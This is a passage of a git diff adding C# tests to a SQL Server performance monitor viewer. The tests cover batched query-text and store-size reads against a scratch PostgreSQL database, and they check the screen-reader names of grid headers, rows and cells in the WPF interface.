+            Assert.Equal(31, texts.Length);
+            Assert.Equal("SELECT 1", texts[0]);
+            Assert.Equal("SELECT 30", texts[29]);
+            Assert.Equal("", texts[6]);   /* q = 7 has no text anywhere */
+            Assert.Equal("", texts[30]);  /* q = 31 has no row at all */
+
+            var calls = await CountCallsAsync(scratch.ConnectionString, dbId, "%v_query_stats%", ct);
+            Assert.True(calls == 1, $"31 rows' text must take ONE store call, not one each; saw {calls}");
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task StatusBarStoreSize_ComesFromTheSweepsRecordedRow_WithoutMeasuringTheLiveDirectory()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live query-tab load pins.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using (var setup = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await setup.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setup, ct);
+            await using var seed = new NpgsqlCommand(
+                "INSERT INTO collect.store_metrics (metric_time, object_name, object_kind, total_bytes) VALUES (now() at time zone 'utc', 'store', $1, 123456789)", setup);
+            seed.Parameters.AddWithValue(StoreSelfMetrics.StoreObjectKind);
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        var dbId = await StartStatementCountingAsync(scratch.ConnectionString, ct);
+        var bodySucceeded = false;
+        await using var service = new ViewerDataService(scratch.ConnectionString);
+        try
+        {
+            Assert.Equal(123456789L, await service.GetStoreSizeBytesAsync(ct));
+            var live = await CountCallsAsync(scratch.ConnectionString, dbId, "%pg_database_size%current_database%", ct);
+            Assert.True(live == 0, $"a recorded size must not trigger the live directory walk; saw {live} calls");
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task HourlyTextLookup_KeepsTheNewestTextPerKey_AndKeepsDatabasesApart()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live query-tab load pins.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using (var setup = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await setup.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setup, ct);
+            await using var seed = new NpgsqlCommand(@"
+INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date)
+VALUES (7002, 'tabtext', 'tabtext', TRUE, 15, now() at time zone 'utc', now() at time zone 'utc');
+INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_text, delta_execution_count)
+SELECT v.id, (now() at time zone 'utc') - v.age, 7002, 'tabtext', v.db, v.hash, v.txt, 1
+FROM (VALUES
+    (2001, interval '3 hours', 'dbA', '0xA', 'old text'),
+    (2002, interval '1 hour',  'dbA', '0xA', 'new text'),
+    (2003, interval '3 hours', 'dbA', '0xB', 'kept text'),
+    (2004, interval '1 hour',  'dbA', '0xB', NULL),
+    (2005, interval '2 hours', 'dbB', '0xA', 'other database text')
+) AS v(id, age, db, hash, txt)", setup);
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        var bodySucceeded = false;
+        await using var service = new ViewerDataService(scratch.ConnectionString);
+        try
+        {
+            var texts = await service.ReadHourlyQueryTextsAsync(7002, new[] { "dbA", "dbA", "dbB", "dbB" }, new[] { "0xA", "0xB", "0xA", "0xB" }, ct);
+            Assert.Equal("new text", texts[0]);           /* two texts for one key: the newest wins, as the per-row read did */
+            Assert.Equal("kept text", texts[1]);          /* a newer row with no text does not blank an older text */
+            Assert.Equal("other database text", texts[2]); /* the same hash in another database is its own key */
+            Assert.Equal("", texts[3]);                   /* no row for the key */
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task StatusBarStoreSize_MeasuresTheLiveDirectoryOnce_WhenNoSizeIsRecorded()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live query-tab load pins.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using (var setup = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await setup.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setup, ct);
+        }
+
+        var dbId = await StartStatementCountingAsync(scratch.ConnectionString, ct);
+        var bodySucceeded = false;
+        await using var service = new ViewerDataService(scratch.ConnectionString);
+        try
+        {
+            var size = await service.GetStoreSizeBytesAsync(ct);
+            Assert.True(size > 0, "a store with no recorded size reads its live size");
+            var live = await CountCallsAsync(scratch.ConnectionString, dbId, "%pg_database_size%current_database%", ct);
+            Assert.True(live == 1, $"one live directory walk expected; saw {live}");
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task StatusBarStoreSize_StillAnswers_WhenTheRecordedRowCannotBeRead()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live query-tab load pins.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using (var setup = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await setup.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setup, ct);
+            /* A store the viewer's role cannot read the self-metrics table of fails the recorded read the same way a missing table does. */
+            await using var drop = new NpgsqlCommand("DROP TABLE collect.store_metrics CASCADE", setup);
+            await drop.ExecuteNonQueryAsync(ct);
+        }
+
+        var bodySucceeded = false;
+        await using var service = new ViewerDataService(scratch.ConnectionString);
+        try
+        {
+            var size = await service.GetStoreSizeBytesAsync(ct);
+            Assert.True(size > 0, "a failed recorded read falls back to the live size and does not leave the field blank");
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerQueryTrendBucketingReviewTests.cs b/Darling/Darling.Tests/ViewerQueryTrendBucketingReviewTests.cs
index 41f407c7a1..f4e91e4213 100644
--- a/Darling/Darling.Tests/ViewerQueryTrendBucketingReviewTests.cs
+++ b/Darling/Darling.Tests/ViewerQueryTrendBucketingReviewTests.cs
@@ -30,8 +30,7 @@ public sealed class ViewerQueryTrendBucketWidthSqlTests
     public void QueryDurationTrendSql_CarriesABucketWidth()
     {
         /* server/start/end/filter = $1-$4, so the width is $5 — proven once by hand against the pre-#4234
-           text: DurationTrendRouting.BuildRawTrendSql's per-collection output (what this field built before)
-           has no date_bin anywhere. */
+           text, the per-collection output this field built before, which had no date_bin anywhere. */
         Assert.Contains("date_bin(CAST($5 AS integer) * INTERVAL '1 minute'", ViewerDataService.QueryDurationTrendSql, StringComparison.Ordinal);
         Assert.Contains(TrendBucketSql.OriginSql, ViewerDataService.QueryDurationTrendSql, StringComparison.Ordinal);
     }
diff --git a/Darling/Darling.Tests/ViewerScopedPaintGuardTests.cs b/Darling/Darling.Tests/ViewerScopedPaintGuardTests.cs
index 3fe597b887..f581c4086b 100644
--- a/Darling/Darling.Tests/ViewerScopedPaintGuardTests.cs
+++ b/Darling/Darling.Tests/ViewerScopedPaintGuardTests.cs
@@ -61,6 +61,8 @@ namespace Darling.Tests;
 /// count at ten and its await count at two — every count a name-and-tally control could check is invariant
 /// across it, which is why one was not used.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class ViewerScopedPaintGuardTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/ViewerScreenReaderNamesFollowUpTests.cs b/Darling/Darling.Tests/ViewerScreenReaderNamesFollowUpTests.cs
new file mode 100644
index 0000000000..94fcac098b
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerScreenReaderNamesFollowUpTests.cs
@@ -0,0 +1,263 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Windows;
+using System.Windows.Automation;
+using System.Windows.Controls;
+using System.Windows.Controls.Primitives;
+using System.Windows.Data;
+using System.Windows.Media;
+using System.Windows.Threading;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Screen-reader names that go stale or read badly: a header or tab put back at the same size, columns dragged into a new
+/// order, hidden elements inside a templated cell, heat-map and bar cells, and a long query text in a row name. The Lite twin is
+/// in Lite.Tests (ScreenReaderNamesFollowUpTests).
+/// </summary>
+public sealed class ViewerScreenReaderNamesFollowUpTests
+{
+    private static void Settle(Window window)
+    {
+        window.Show();
+        var frame = new DispatcherFrame();
+        window.Dispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle, new Action(() => frame.Continue = false));
+        Dispatcher.PushFrame(frame);
+    }
+
+    private static IEnumerable<DependencyObject> Descendants(DependencyObject root)
+    {
+        for (var i = 0; i < VisualTreeHelper.GetChildrenCount(root); i++)
+        {
+            var child = VisualTreeHelper.GetChild(root, i);
+            yield return child;
+            foreach (var deeper in Descendants(child))
+            {
+                yield return deeper;
+            }
+        }
+    }
+
+    public sealed class Row
+    {
+        public string Time { get; set; } = "";
+        public string Server { get; set; } = "";
+        public string Retries { get; set; } = "";
+        public string Query { get; set; } = "";
+    }
+
+    /// <summary>A template whose visual tree is a stack panel holding the given elements.</summary>
+    private static DataTemplate PanelTemplate(params FrameworkElementFactory[] children)
+    {
+        var template = new DataTemplate();
+        var panel = new FrameworkElementFactory(typeof(StackPanel));
+        foreach (var child in children)
+        {
+            panel.AppendChild(child);
+        }
+
+        template.VisualTree = panel;
+        return template;
+    }
+
+    private static FrameworkElementFactory BoundText(string path, Visibility visibility = Visibility.Visible)
+    {
+        var text = new FrameworkElementFactory(typeof(TextBlock));
+        text.SetBinding(TextBlock.TextProperty, new Binding(path));
+        text.SetValue(UIElement.VisibilityProperty, visibility);
+        return text;
+    }
+
+    private static DataGrid NewGrid(IEnumerable<DataGridColumn> columns, IEnumerable<Row> rows)
+    {
+        var grid = new DataGrid { AutoGenerateColumns = false, HeadersVisibility = DataGridHeadersVisibility.Column };
+        foreach (var column in columns)
+        {
+            grid.Columns.Add(column);
+        }
+
+        grid.ItemsSource = rows.ToList();
+        return grid;
+    }
+
+    private static DataGridTextColumn TextColumn(string header, string path) =>
+        new() { Header = header, Binding = new Binding(path) };
+
+    [Fact]
+    public void AHeaderAndATabPutBackAtTheSameSize_ReadTheirChangedText()
+    {
+        var (headerBefore, headerAfter, tabBefore, tabAfter) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+
+            var headerText = new TextBlock { Text = "Time (server)" };
+            var headerPanel = new StackPanel { Orientation = Orientation.Horizontal };
+            headerPanel.Children.Add(headerText);
+            headerPanel.Children.Add(new Button { Content = "x" });
+            var grid = NewGrid(new DataGridColumn[] { new DataGridTextColumn { Header = headerPanel, Binding = new Binding("Time"), Width = 150 } },
+                new[] { new Row { Time = "06:01:12" } });
+
+            var tabText = new TextBlock { Text = "example-sql-01" };
+            var tabPanel = new StackPanel { Orientation = Orientation.Horizontal };
+            tabPanel.Children.Add(tabText);
+            tabPanel.Children.Add(new Button { Content = "x" });
+            var tabs = new TabControl { Width = 400, Height = 200 };
+            tabs.Items.Add(new TabItem { Header = tabPanel, Content = grid });
+
+            var window = new Window { Content = tabs, Width = 500, Height = 300 };
+            Settle(window);
+
+            var header = Descendants(grid).OfType<DataGridColumnHeader>().First(h => h.Column is not null);
+            var tab = tabs.Items.OfType<TabItem>().First();
+            var hb = AutomationProperties.GetName(header);
+            var tb = AutomationProperties.GetName(tab);
+
+            /* Out of the window and back, at the same size; the text changes while it is out (Alert History: UTC picked on another tab). */
+            window.Content = null;
+            Settle(window);
+            headerText.Text = "Time (UTC)";
+            tabText.Text = "example-sql-02";
+            window.Content = tabs;
+            Settle(window);
+
+            var ha = AutomationProperties.GetName(Descendants(grid).OfType<DataGridColumnHeader>().First(h => h.Column is not null));
+            var ta = AutomationProperties.GetName(tab);
+            window.Close();
+            return (hb, ha, tb, ta);
+        });
+
+        Assert.Equal("Time (server)", headerBefore);
+        Assert.Equal("example-sql-01", tabBefore);
+        Assert.Equal("Time (UTC)", headerAfter);
+        Assert.Equal("example-sql-02", tabAfter);
+    }
+
+    [Fact]
+    public void ARowIsRenamed_WhenTheUserDragsColumnsIntoANewOrder()
+    {
+        var (before, after) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = NewGrid(new DataGridColumn[] { TextColumn("Time", "Time"), TextColumn("Server", "Server"), TextColumn("Retries", "Retries") },
+                new[] { new Row { Time = "06:01:12", Server = "example-sql-01", Retries = "3" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var row = Descendants(grid).OfType<DataGridRow>().First();
+            var b = AutomationProperties.GetName(row);
+
+            grid.Columns[2].DisplayIndex = 0;
+            Settle(window);
+            var a = AutomationProperties.GetName(row);
+            window.Close();
+            return (b, a);
+        });
+
+        Assert.Equal("Time 06:01:12, Server example-sql-01", before);
+        Assert.Equal("Retries 3, Time 06:01:12", after);
+    }
+
+    [Fact]
+    public void HiddenElementsInATemplatedCell_AreNotContent()
+    {
+        var (hiddenText, hiddenButton, rowName) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var hiddenButtonFactory = new FrameworkElementFactory(typeof(Button));
+            hiddenButtonFactory.SetValue(ContentControl.ContentProperty, "go");
+            hiddenButtonFactory.SetValue(UIElement.VisibilityProperty, Visibility.Collapsed);
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    new DataGridTemplateColumn { Header = "Retries", CellTemplate = PanelTemplate(BoundText("Query", Visibility.Collapsed)) },
+                    new DataGridTemplateColumn { Header = "Action", CellTemplate = PanelTemplate(hiddenButtonFactory) },
+                    TextColumn("Time", "Time"),
+                },
+                new[] { new Row { Time = "06:01:12", Query = "SELECT 1" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var cells = Descendants(grid).OfType<DataGridCell>().ToList();
+            var row = Descendants(grid).OfType<DataGridRow>().First();
+            var result = (AutomationProperties.GetName(cells[0]), AutomationProperties.GetName(cells[1]), AutomationProperties.GetName(row));
+            window.Close();
+            return result;
+        });
+
+        Assert.Equal("Retries: blank", hiddenText);
+        Assert.Equal("Action: blank", hiddenButton);
+        /* The hidden text is not read into the row's name either. */
+        Assert.Equal("Time 06:01:12", rowName);
+    }
+
+    [Fact]
+    public void HeatMapAndBarCells_GiveTheirValueToTheRowName_AndAnEmptyHeatCellIsBlank()
+    {
+        var (rowName, emptyHeat, barRowName) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var heat = new FrameworkElementFactory(typeof(Border));
+            heat.SetValue(Border.BackgroundProperty, Brushes.Transparent);
+            heat.AppendChild(BoundText("Server"));
+            var heatTemplate = new DataTemplate { VisualTree = heat };
+
+            var emptyHeatFactory = new FrameworkElementFactory(typeof(Border));
+            emptyHeatFactory.SetValue(Border.BackgroundProperty, Brushes.Transparent);
+            emptyHeatFactory.AppendChild(BoundText("Retries"));
+
+            var bar = new FrameworkElementFactory(typeof(BarChartCell));
+            bar.SetBinding(BarChartCell.TextProperty, new Binding("Query"));
+            bar.SetValue(BarChartCell.MaximumProperty, 10.0);
+
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    new DataGridTemplateColumn { Header = "Row Lock Wait ms", CellTemplate = heatTemplate },
+                    new DataGridTemplateColumn { Header = "Empty heat", CellTemplate = new DataTemplate { VisualTree = emptyHeatFactory } },
+                    new DataGridTemplateColumn { Header = "Executions", CellTemplate = new DataTemplate { VisualTree = bar } },
+                },
+                new[] { new Row { Server = "1,204", Retries = "" }, new Row { Server = "", Retries = "", Query = "42" } });
+            var window = new Window { Content = grid, Width = 700, Height = 300 };
+            Settle(window);
+            var rows = Descendants(grid).OfType<DataGridRow>().ToList();
+            var cells = Descendants(rows[0]).OfType<DataGridCell>().ToList();
+            var result = (AutomationProperties.GetName(rows[0]), AutomationProperties.GetName(cells[1]), AutomationProperties.GetName(rows[1]));
+            window.Close();
+            return result;
+        });
+
+        /* The heat cell's text is read although its brush is transparent, and the empty transparent cell is blank, not content. */
+        Assert.Equal("Row Lock Wait ms 1,204", rowName);
+        Assert.Equal("Empty heat: blank", emptyHeat);
+        /* The bar cell's value is read through the user control. */
+        Assert.Equal("Executions 42", barRowName);
+    }
+
+    [Fact]
+    public void ARowNamePart_IsCapped_SoALongQueryTextIsNotReadOutInFull()
+    {
+        var name = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = NewGrid(new DataGridColumn[] { TextColumn("Collected", "Time"), TextColumn("Query Text", "Query") },
+                new[] { new Row { Time = "06:01:12", Query = new string('x', 5000) } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var result = AutomationProperties.GetName(Descendants(grid).OfType<DataGridRow>().First());
+            window.Close();
+            return result;
+        });
+
+        Assert.StartsWith("Collected 06:01:12, Query Text xxx", name, StringComparison.Ordinal);
+        Assert.EndsWith("...", name, StringComparison.Ordinal);
+        Assert.True(name.Length <= "Collected 06:01:12, ".Length + 80, "the name is " + name.Length + " characters");
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerScreenReaderNamesTests.cs b/Darling/Darling.Tests/ViewerScreenReaderNamesTests.cs
new file mode 100644
index 0000000000..720bd56c04
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerScreenReaderNamesTests.cs
@@ -0,0 +1,205 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Windows;
+using System.Windows.Automation.Peers;
+using System.Windows.Controls;
+using System.Windows.Threading;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Release walk D1, D2, D3 and D11 in the Darling Viewer: what UI Automation reads for a grid column header, its filter
+/// button, an empty grid cell, a server box item, an Overview card and a Needs Attention row. The names came out as
+/// "System.Windows.Controls.StackPanel", a bare glyph, "Item: ...ViewerJobHistoryRow, Column Display Index: 7",
+/// "...DarlingServer", "...ServerSummaryItem" and "...FleetRankedServer". Lite's twin is ScreenReaderNamesTests in Lite.Tests;
+/// the column-header naming itself is the shared <see cref="AccessibleNames"/>.
+/// </summary>
+public sealed class ViewerScreenReaderNamesTests
+{
+    private static string ViewerDir([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "PerformanceMonitor.Darling.Viewer"));
+
+    private static void Settle(Window window)
+    {
+        window.Show();
+        var frame = new DispatcherFrame();
+        window.Dispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle, new Action(() => frame.Continue = false));
+        Dispatcher.PushFrame(frame);
+    }
+
+    private static void Walk(AutomationPeer peer, List<AutomationPeer> into)
+    {
+        into.Add(peer);
+        foreach (var child in peer.GetChildren() ?? new List<AutomationPeer>())
+        {
+            Walk(child, into);
+        }
+    }
+
+    [Fact]
+    public void ServerItemTypes_ReadAsTheServersName_NotTheirTypeName()
+    {
+        var server = new DarlingServer(1, "example-sql-01", "Example SQL 01", true, 16);
+        var card = new ServerSummaryItem { DisplayName = "Example SQL 02" };
+        var ranked = new FleetRankedServer { DisplayName = "Example SQL 03" };
+
+        Assert.Equal("Example SQL 01", server.ToString());
+        Assert.Equal("Example SQL 02", card.ToString());
+        Assert.Equal("Example SQL 03", ranked.ToString());
+    }
+
+    [Fact]
+    public void AServerBoxAndAnItemsList_ExposeTheServerName_ForEachItem()
+    {
+        var names = StaTestThread.Run(() =>
+        {
+            /* A closed ComboBox builds no item peers: its drop-down list is a ListBox, which names its items the same way. */
+            var combo = new ListBox { ItemsSource = new[] { new DarlingServer(1, "example-sql-01", "Example SQL 01", true, 16) } };
+            var list = new ItemsControl { ItemsSource = new[] { new FleetRankedServer { DisplayName = "Example SQL 03" } } };
+            var cards = new ItemsControl { ItemsSource = new[] { new ServerSummaryItem { DisplayName = "Example SQL 02" } } };
+            var panel = new StackPanel();
+            panel.Children.Add(combo);
+            panel.Children.Add(list);
+            panel.Children.Add(cards);
+            var window = new Window { Content = panel, Width = 400, Height = 300 };
+            Settle(window);
+            var peers = new List<AutomationPeer>();
+            Walk(UIElementAutomationPeer.CreatePeerForElement(window), peers);
+            window.Close();
+            return peers.Select(p => p.GetName()).ToList();
+        });
+
+        Assert.DoesNotContain(names, n => n.Contains("DarlingServer", StringComparison.Ordinal) || n.Contains("FleetRankedServer", StringComparison.Ordinal) || n.Contains("ServerSummaryItem", StringComparison.Ordinal));
+        Assert.Contains("Example SQL 01", names);
+        Assert.Contains("Example SQL 03", names);
+        Assert.Contains("Example SQL 02", names);
+    }
+
+    public sealed class Row
+    {
+        public string Time { get; set; } = "";
+        public string Retries { get; set; } = "";
+        public override string ToString() => "Row";
+    }
+
+    [Fact]
+    public void AGridsPanelHeaders_FilterButtons_AndBlankCells_AreNamedInTheAutomationTree()
+    {
+        var names = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = new DataGrid { AutoGenerateColumns = false, HeadersVisibility = DataGridHeadersVisibility.Column };
+            foreach (var title in new[] { "Time", "Retries" })
+            {
+                var panel = new StackPanel { Orientation = Orientation.Horizontal };
+                panel.Children.Add(new Button { Tag = title, Content = new TextBlock { Text = "" } });
+                panel.Children.Add(new TextBlock { Text = title });
+                grid.Columns.Add(new DataGridTextColumn { Header = panel, Binding = new System.Windows.Data.Binding(title) });
+            }
+
+            grid.ItemsSource = new[] { new Row { Time = "10:00", Retries = "" } };
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var peers = new List<AutomationPeer>();
+            Walk(UIElementAutomationPeer.CreatePeerForElement(grid), peers);
+            window.Close();
+            return peers.Select(p => (Type: p.GetType().Name, Name: p.GetName())).ToList();
+        });
+
+        Assert.Equal(new[] { "Time", "Retries" }, names.Where(n => n.Type == "DataGridColumnHeaderItemAutomationPeer").Select(n => n.Name).ToList());
+        Assert.Contains(names, n => n.Type == "ButtonAutomationPeer" && n.Name == "Filter Time");
+        Assert.Contains(names, n => n.Type == "ButtonAutomationPeer" && n.Name == "Filter Retries");
+        Assert.Contains(names, n => n.Type == "DataGridCellItemAutomationPeer" && n.Name == "Retries: blank");
+        Assert.DoesNotContain(names, n => n.Name.StartsWith("Item:", StringComparison.Ordinal) || n.Name.Contains("StackPanel", StringComparison.Ordinal));
+    }
+
+    private static readonly Regex s_columnHeader = new(@"<(DataGrid\w*Column)\.Header>(?<body>.*?)</\1\.Header>", RegexOptions.Singleline | RegexOptions.Compiled);
+
+    private static string StripComments(string xaml) => Regex.Replace(xaml, "<!--.*?-->", "", RegexOptions.Singleline);
+
+    private static IEnumerable<string> ViewerXamlFiles() =>
+        Directory.EnumerateFiles(ViewerDir(), "*.xaml", SearchOption.AllDirectories)
+            .Where(f => !f.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                     && !f.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal));
+
+    [Fact]
+    public void EveryColumnHeaderMadeOfAPanel_CarriesAVisibleTitle_SoItHasAScreenReaderName()
+    {
+        var offenders = new List<string>();
+        var checkedHeaders = 0;
+
+        foreach (var file in ViewerXamlFiles())
+        {
+            foreach (Match header in s_columnHeader.Matches(StripComments(File.ReadAllText(file))))
+            {
+                var body = header.Groups["body"].Value;
+
+                if (!body.Contains("<StackPanel", StringComparison.Ordinal) && !body.Contains("<Button", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                checkedHeaders++;
+
+                if (!Regex.IsMatch(body, "<TextBlock\\b[^>]*\\bText=\"[^\"]+\""))
+                {
+                    var flat = Regex.Replace(body.Trim(), @"\s+", " ");
+                    offenders.Add(Path.GetFileName(file) + ": " + flat.Substring(0, Math.Min(120, flat.Length)));
+                }
+            }
+        }
+
+        Assert.True(checkedHeaders > 50, "the census found only " + checkedHeaders + " panel headers; the pattern no longer matches the XAML");
+        Assert.True(offenders.Count == 0, "column headers with no visible title to name them from:\n" + string.Join("\n", offenders));
+    }
+
+    [Fact]
+    public void EveryFilterButtonSitsInAColumnHeader_WhereTheNameIsGivenToIt()
+    {
+        var offenders = new List<string>();
+
+        foreach (var file in ViewerXamlFiles().Where(f => !f.Contains(Path.DirectorySeparatorChar + "Themes" + Path.DirectorySeparatorChar, StringComparison.Ordinal)))
+        {
+            var text = StripComments(File.ReadAllText(file));
+            var inHeaders = s_columnHeader.Matches(text).Sum(m => Regex.Matches(m.Groups["body"].Value, "ColumnFilterButtonStyle").Count);
+            var all = Regex.Matches(text, "ColumnFilterButtonStyle").Count;
+
+            if (all != inHeaders)
+            {
+                offenders.Add(Path.GetFileName(file) + ": " + (all - inHeaders) + " filter button(s) outside a column header");
+            }
+        }
+
+        Assert.True(offenders.Count == 0, string.Join("\n", offenders));
+    }
+
+    [Theory]
+    [InlineData("FinOpsTab.xaml", "ServerSelector", "PickerLabel")]
+    [InlineData("MainWindow.xaml", "RecommendationsServerSelector", "DisplayName")]
+    public void TheServerBox_HasAName_AndItsItemsAreNamedByTheServer(string file, string boxName, string member)
+    {
+        var text = File.ReadAllText(Path.Combine(ViewerDir(), file));
+        var start = text.IndexOf("<ComboBox x:Name=\"" + boxName + "\"", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var box = text.Substring(start, text.IndexOf("</ComboBox>", start, StringComparison.Ordinal) - start);
+
+        Assert.Contains("AutomationProperties.Name=\"Server\"", box, StringComparison.Ordinal);
+        Assert.Contains("<Setter Property=\"AutomationProperties.Name\" Value=\"{Binding " + member + ", Mode=OneTime}\"/>", box, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerScreenReaderRowNamesTests.cs b/Darling/Darling.Tests/ViewerScreenReaderRowNamesTests.cs
new file mode 100644
index 0000000000..8421dc80e8
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerScreenReaderRowNamesTests.cs
@@ -0,0 +1,311 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Windows;
+using System.Windows.Automation;
+using System.Windows.Automation.Peers;
+using System.Windows.Controls;
+using System.Windows.Data;
+using System.Windows.Threading;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What UI Automation reads for a grid ROW (it was the data item's type name, "...ViewerJobHistoryRow"), for a templated cell with
+/// nothing in it, and what the per-event handlers cost. Lite's twin is ScreenReaderRowNamesTests in Lite.Tests.
+/// </summary>
+public sealed class ViewerScreenReaderRowNamesTests
+{
+    private static void Settle(Window window)
+    {
+        window.Show();
+        var frame = new DispatcherFrame();
+        window.Dispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle, new Action(() => frame.Continue = false));
+        Dispatcher.PushFrame(frame);
+    }
+
+    private static void Walk(AutomationPeer peer, List<AutomationPeer> into)
+    {
+        into.Add(peer);
+        foreach (var child in peer.GetChildren() ?? new List<AutomationPeer>())
+        {
+            Walk(child, into);
+        }
+    }
+
+    private static IEnumerable<DependencyObject> Descendants(DependencyObject root)
+    {
+        for (var i = 0; i < System.Windows.Media.VisualTreeHelper.GetChildrenCount(root); i++)
+        {
+            var child = System.Windows.Media.VisualTreeHelper.GetChild(root, i);
+            yield return child;
+            foreach (var deeper in Descendants(child))
+            {
+                yield return deeper;
+            }
+        }
+    }
+
+    /// <summary>No ToString override: a screen reader reads the type name, as it did for the job history row.</summary>
+    public sealed class JobRow
+    {
+        public string Time { get; set; } = "";
+        public string Server { get; set; } = "";
+        public string Retries { get; set; } = "";
+    }
+
+    private static DataTemplate TextTemplate(string path)
+    {
+        var template = new DataTemplate();
+        var panel = new FrameworkElementFactory(typeof(StackPanel));
+        var text = new FrameworkElementFactory(typeof(TextBlock));
+        text.SetBinding(TextBlock.TextProperty, new Binding(path));
+        panel.AppendChild(text);
+        template.VisualTree = panel;
+        return template;
+    }
+
+    private static DataGrid NewGrid(IEnumerable<DataGridColumn> columns, IEnumerable<JobRow> rows, bool recycling = false)
+    {
+        var grid = new DataGrid { AutoGenerateColumns = false, HeadersVisibility = DataGridHeadersVisibility.Column };
+        foreach (var column in columns)
+        {
+            grid.Columns.Add(column);
+        }
+
+        if (recycling)
+        {
+            VirtualizingPanel.SetVirtualizationMode(grid, VirtualizationMode.Recycling);
+        }
+
